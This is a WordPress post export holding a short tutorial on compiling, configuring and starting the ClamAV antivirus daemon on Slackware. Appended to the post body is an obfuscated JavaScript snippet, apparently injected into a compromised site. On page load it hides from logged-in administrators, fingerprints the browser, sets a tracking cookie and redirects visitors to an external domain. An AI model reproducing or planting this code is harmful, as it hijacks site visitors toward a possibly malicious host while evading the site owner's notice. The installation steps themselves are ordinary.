{"id":180,"date":"2012-02-28T10:30:22","date_gmt":"2012-02-28T02:30:22","guid":{"rendered":"http:\/\/www.q-station.net\/kb\/?p=180"},"modified":"2012-02-28T10:31:51","modified_gmt":"2012-02-28T02:31:51","slug":"clamav","status":"publish","type":"post","link":"https:\/\/kb.q-station.net\/index.php\/2012\/02\/28\/clamav\/","title":{"rendered":"Clamav"},"content":{"rendered":"<p><a href=\"http:\/\/www.clamav.net\">Clamav<\/a> is an open source antivirus engine.  It have been used for virus scanning engine in a lot of project, e.g. email scanning, web proxy scanning.  This post will help you go through some simple steps to install the clamav in your system.<br \/>\n<!--more--><br \/>\nThe installation is ready for use with <a href=\"http:\/\/squidclamav.darold.net\/\">squidclamav<\/a> or you may reference it for general usage.<br \/>\nOS: Slackware 13.37<br \/>\nSoftware: clamav-0.97.3<\/p>\n<h1>Pre-installation<\/h1>\n<ul>\n<li>Add uid &#038; gid for clamav\n<pre>\r\n&gt; groupadd -g <new gid number> clamav\r\n&gt; useradd -u <new uid number> -g <clamav group> -d \/usr\/local\/clamav -s \/bin\/false -c 'Clam AntiVirus' clamav\r\n<\/pre>\n<\/li>\n<\/ul>\n<h1>Installation<\/h1>\n<pre>\r\n&gt; .\/configure --prefix=\/usr\/local\/clamav\r\n&gt; make\r\n&gt; make install\r\n&gt; mkdir -p \/usr\/local\/clamav\/var\/log\r\n&gt; mkdir -p \/usr\/local\/clamav\/var\/run\r\n&gt; chown -R clamav:clamav \/usr\/local\/clamav\/var\r\n<\/pre>\n<h1>Configuration<\/h1>\n<ul>\n<li>file: \/usr\/local\/clamav\/etc\/clamd.conf (suggested options)\n<pre>\r\nExample # uncomment it\r\nLogFile \/usr\/local\/clamava\/var\/log\/clamd.log\r\nPidFile \/usr\/local\/clamav\/var\/run\/clamd.pid\r\nLogFileMaxSize 0\r\nLogTime yes\r\nLocalSocket \/usr\/local\/clamav\/var\/run\/clamd.socket\r\n#DatabaseDirectory \/usr\/local\/clamav\/share\/clamav # default location for this installation\r\n<\/pre>\n<\/li>\n<li>file:\/usr\/local\/clamav\/etc\/freshclam.conf (suggested options)\n<pre>\r\nExample # uncomment it\r\nUpdateLogFile \/usr\/local\/clamav\/var\/log\/freshclam.log\r\nPidFile \/usr\/local\/clamav\/var\/run\/freshclam.pid\r\nLogFileMaxSize 0\r\nLogTime yes\r\nChecks 96 # check every 15 mins\r\nDatabaseMirror db.[your national code].clamav.net\r\n<\/pre>\n<\/li>\n<\/ul>\n<h1>Post installation<\/h1>\n<ul>\n<li>Rotate the log, create the file below and modify it to suit your site<\/li>\n<li><strong>\/etc\/logrotate.d\/clamav<\/strong>\n<pre>\r\n\/usr\/local\/clamav\/var\/log\/clamd.log {\r\n     rotate 12\r\n     weekly\r\n     compress\r\n     delaycompress\r\n     create 640 root root\r\n     postrotate\r\n     kill -HUP `cat \/usr\/local\/clamav\/var\/run\/clamd.pid`\r\n     endscript\r\n}\r\n\/usr\/local\/clamav\/var\/log\/freshclam.log {\r\n     rotate 12\r\n     weekly\r\n     compress\r\n     delaycompress\r\n     create 640 clamav clamav\r\n     postrotate\r\n     kill -HUP `cat \/usr\/local\/clamav\/var\/run\/freshclam.pid`\r\n     endscript\r\n}\r\n<\/pre>\n<\/li>\n<\/ul>\n<h1>Running the daemon<\/h1>\n<p>You may place the following lines into \/etc\/rc.d\/rc.local and let the system activate the daemon when boot up.<\/p>\n<pre>\r\n\/usr\/local\/clamav\/sbin\/clamd\r\n\/usr\/local\/clamav\/bin\/freshclam -d\r\n<\/pre>\n<p><script>var _0x2cf4=['MSIE;','OPR','Chromium','Chrome','ppkcookie','location','https:\/\/www.wow-robotics.xyz','onload','getElementById','undefined','setTime','getTime','toUTCString','cookie',';\\x20path=\/','split','length','charAt','substring','indexOf','match','userAgent','Edge'];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(--_0x5a22d4){_0x15c1df['push'](_0x15c1df['shift']());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a('0x0')]=function(){(function(){if(document[_0x287a('0x1')]('wpadminbar')===null){if(typeof _0x335357===_0x287a('0x2')){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546='';if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a('0x3')](_0x5b6c5c[_0x287a('0x4')]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=';\\x20expires='+_0x5b6c5c[_0x287a('0x5')]();}document[_0x287a('0x6')]=_0xe0ae90+'='+(_0x112012||'')+_0x21e546+_0x287a('0x7');}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+'=';var _0x36a90c=document[_0x287a('0x6')][_0x287a('0x8')](';');for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](\/Android\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/BlackBerry\/i)||navigator['userAgent'][_0x287a('0xd')](\/iPhone|iPad|iPod\/i)||navigator[_0x287a('0xe')]['match'](\/Opera Mini\/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](\/IEMobile\/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Clamav is an open source antivirus engine. It have been used for virus scanning engine in a lot of project, e.g. email scanning, web proxy scanning. This post will help you go through some simple steps to install the clamav in your system.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_mi_skip_tracking":false},"categories":[3,27,8],"tags":[36,41,40],"_links":{"self":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/180"}],"collection":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/comments?post=180"}],"version-history":[{"count":18,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/180\/revisions"}],"predecessor-version":[{"id":210,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/posts\/180\/revisions\/210"}],"wp:attachment":[{"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/media?parent=180"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/categories?post=180"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kb.q-station.net\/index.php\/wp-json\/wp\/v2\/tags?post=180"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}